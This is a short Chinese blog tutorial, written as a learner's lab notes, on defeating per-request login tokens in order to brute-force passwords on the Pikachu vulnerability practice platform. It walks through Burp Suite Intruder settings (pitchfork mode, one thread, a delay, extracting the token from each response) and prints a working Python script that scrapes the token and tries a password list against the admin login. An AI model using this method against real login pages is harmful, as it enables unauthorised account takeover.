token绕过

现在的网页有很多验证机制，就是为了防止暴力破解，有直接在前端就可以进行修改的，有需要在服务器进行修改的，对于目前的我来说，如果在服务器修改就没办法绕过，但是大多时候利用burpsuite就可以进行中间代理修改。其中字典有很多，你可以在github找，也可以私信我

这里我就针对token绕过进行一次记录

我用的是pikachu漏洞测试平台

第一种：

直接利用burpsuite进行爆破，首先进行抓包，然后传到攻击面板

添加变量password和token，最上面的选择pitchfork

第二步就是设置线程，因为token是一对一的关系，当第二个token产生，第一个token就会消失，务必将线程调整至1，我使用的版本是刚出来的，所以线程不在options中 

记得将间隔时间调整至2000

第三步就是设置Grep=Extract 

 有一说一，这里我也听得模模糊糊，讲不出个所以然，你们将Grep=Extract下面的打个勾，然后add添加，然后点一下中间右边的response就会出现html，然后选择出value的值，然后再在下面填写token，最后ok就行了，就这样

最后一步就是设置302跳转，直接always，还有添加字典别忘了 

攻击就行了 

第二种：直接利用python脚本

我的python脚本代码是某一老师编写的，并不是我本人写的

#coding:utf-8
import requests
import re

url = "http://127.0.0.1/pikachu-master/vul/burteforce/bf_token.php"

def login(password):
    session = requests.session()
    req=session.get(url)
    user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
    data={"username":"admin","password":password,"Login":"Login",'user_token':user_token}
    req=session.post(url=url,data=data,allow_redirects=True)
    html = req.text
    return html

with open('top1000.txt') as p:
    passlist =p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'login success' in login(line):
        print( "[* 密码 is %s *]" % line )
        break

可能因为正则没怎么写好，导致带进去会报错，不过能攻击成功，如果有大佬能帮忙把正则补全，在下感激不尽